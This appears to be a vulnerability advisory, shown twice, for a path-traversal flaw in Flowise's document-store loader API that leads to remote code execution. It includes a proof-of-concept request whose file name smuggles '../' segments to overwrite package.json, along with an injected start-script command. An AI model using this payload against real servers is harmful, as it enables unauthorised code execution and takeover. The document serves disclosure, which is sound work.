Summary
An attacker could write files with arbitrary content to the filesystem via the /api/v1/document-store/loader/process API.
An attacker can reach RCE(Remote Code Execution) via file writing.
Details
All file writing functions in packages/components/src/storageUtils.ts are vulnerable.
- addBase64FilesToStorage
- addArrayFilesToStorage
- addSingleFileToStorage
The fileName parameter, which is an untrusted external input, is being used as an argument to path.join() without verification.
const filePath = path.join(dir, fileName)
fs.writeFileSync(filePath, bf)
Therefore, users can move to the parent folder via ../ and write files to any path.
Once file writing is possible in all paths, an attacker can reach RCE (Remote Code Execution) in a variety of ways.
In PoC (Proof of Concept), RCE was reached by overwriting package.json.
PoC
In PoC, package.json is overwritten.
This is a scenario in which arbitrary code is executed when pnpm start is executed by changing the start command in the scripts{} statement to an arbitrary value.
- original start command
"start": "run-script-os",
- modify start command
"start": "touch /tmp/pyozzi-poc && run-script-os",
When a user runs the pnpm start command, a pyozzi-poc file is created in the /tmp path.
1. package.json content base64 encoding
{
"name": "flowise",
"version": "1.8.2",
"private": true,
"homepage": "https://flowiseai.com",
"workspaces": [
"packages/*",
"flowise",
"ui",
"components"
],
"scripts": {
"build": "turbo run build && echo poc",
"build-force": "pnpm clean && turbo run build --force",
"dev": "turbo run dev --parallel",
"start": "touch /tmp/pyozzi-poc && run-script-os", --> modify (add touch /tmp/pyozzi &&)
"start:windows": "cd packages/server/bin && run start",
"start:default": "cd packages/server/bin && ./run start",
"clean": "pnpm --filter \"./packages/**\" clean",
"nuke": "pnpm --filter \"./packages/**\" nuke && rimraf node_modules .turbo",
"format": "prettier --write \"**/*.{ts,tsx,md}\"",
"lint": "eslint \"**/*.{js,jsx,ts,tsx,json,md}\"",
"lint-fix": "pnpm lint --fix",
"quick": "pretty-quick --staged",
"postinstall": "husky install",
"migration:create": "pnpm typeorm migration:create"
}, ... skip
2. Overwrite package.json via /api/v1/document-store/loader/process
Request Body
{
"loaderId": "textFile",
"storeId": "c4b8a8fb-9eb6-47ae-9caa-7702ef8baabb",
"loaderName": "Text File",
"loaderConfig": {
"txtFile": "data:text/plain;BASE64_ENCODEING_CONTENT,filename:/../../../../../usr/src/package.json",
"textSplitter": "",
"metadata": "",
"omitMetadataKeys": ""
}
}
The part after filename: of the txtFile parameter is the value used as fileName in the function.
Add ../ to the filename value to move to the top path, then specify package.json in the project folder /usr/src/ as the path.
Afterwards, when the user starts the server (pnpm start), the added script will be executed. (touch /tmp/pyozzi-poc)
- starting server with touch /tmp/pyozzi-poc command

- /tmp/pyozzi-poc file created

Impact
Remote Code Execution (RCE)
Although it is demonstrated here using the file creation command, you can obtain full server shell privileges by opening a reverse shell.
Summary
An attacker could write files with arbitrary content to the filesystem via the
/api/v1/document-store/loader/processAPI.An attacker can reach RCE(Remote Code Execution) via file writing.
Details
All file writing functions in packages/components/src/storageUtils.ts are vulnerable.
The fileName parameter, which is an untrusted external input, is being used as an argument to path.join() without verification.
Therefore, users can move to the parent folder via
../and write files to any path.Once file writing is possible in all paths, an attacker can reach RCE (Remote Code Execution) in a variety of ways.
In PoC (Proof of Concept), RCE was reached by overwriting package.json.
PoC
In PoC,
package.jsonis overwritten.This is a scenario in which arbitrary code is executed when
pnpm startis executed by changing the start command in thescripts{}statement to an arbitrary value.- original start command
- modify start command
When a user runs the
pnpm startcommand, apyozzi-pocfile is created in the/tmppath.1. package.json content base64 encoding
{ "name": "flowise", "version": "1.8.2", "private": true, "homepage": "https://flowiseai.com", "workspaces": [ "packages/*", "flowise", "ui", "components" ], "scripts": { "build": "turbo run build && echo poc", "build-force": "pnpm clean && turbo run build --force", "dev": "turbo run dev --parallel", "start": "touch /tmp/pyozzi-poc && run-script-os", --> modify (add touch /tmp/pyozzi &&) "start:windows": "cd packages/server/bin && run start", "start:default": "cd packages/server/bin && ./run start", "clean": "pnpm --filter \"./packages/**\" clean", "nuke": "pnpm --filter \"./packages/**\" nuke && rimraf node_modules .turbo", "format": "prettier --write \"**/*.{ts,tsx,md}\"", "lint": "eslint \"**/*.{js,jsx,ts,tsx,json,md}\"", "lint-fix": "pnpm lint --fix", "quick": "pretty-quick --staged", "postinstall": "husky install", "migration:create": "pnpm typeorm migration:create" }, ... skip2. Overwrite
package.jsonvia/api/v1/document-store/loader/process{ "loaderId": "textFile", "storeId": "c4b8a8fb-9eb6-47ae-9caa-7702ef8baabb", "loaderName": "Text File", "loaderConfig": { "txtFile": "data:text/plain;BASE64_ENCODEING_CONTENT,filename:/../../../../../usr/src/package.json", "textSplitter": "", "metadata": "", "omitMetadataKeys": "" } }The part after
filename:of thetxtFileparameter is the value used asfileNamein the function.Add
../to the filename value to move to the top path, then specifypackage.jsonin the project folder/usr/src/as the path.Afterwards, when the user starts the server (
pnpm start), the added script will be executed. (touch /tmp/pyozzi-poc)- starting server with

touch /tmp/pyozzi-poccommand-

/tmp/pyozzi-pocfile createdImpact
Remote Code Execution (RCE)
Although it is demonstrated here using the file creation command, you can obtain full server shell privileges by opening a reverse shell.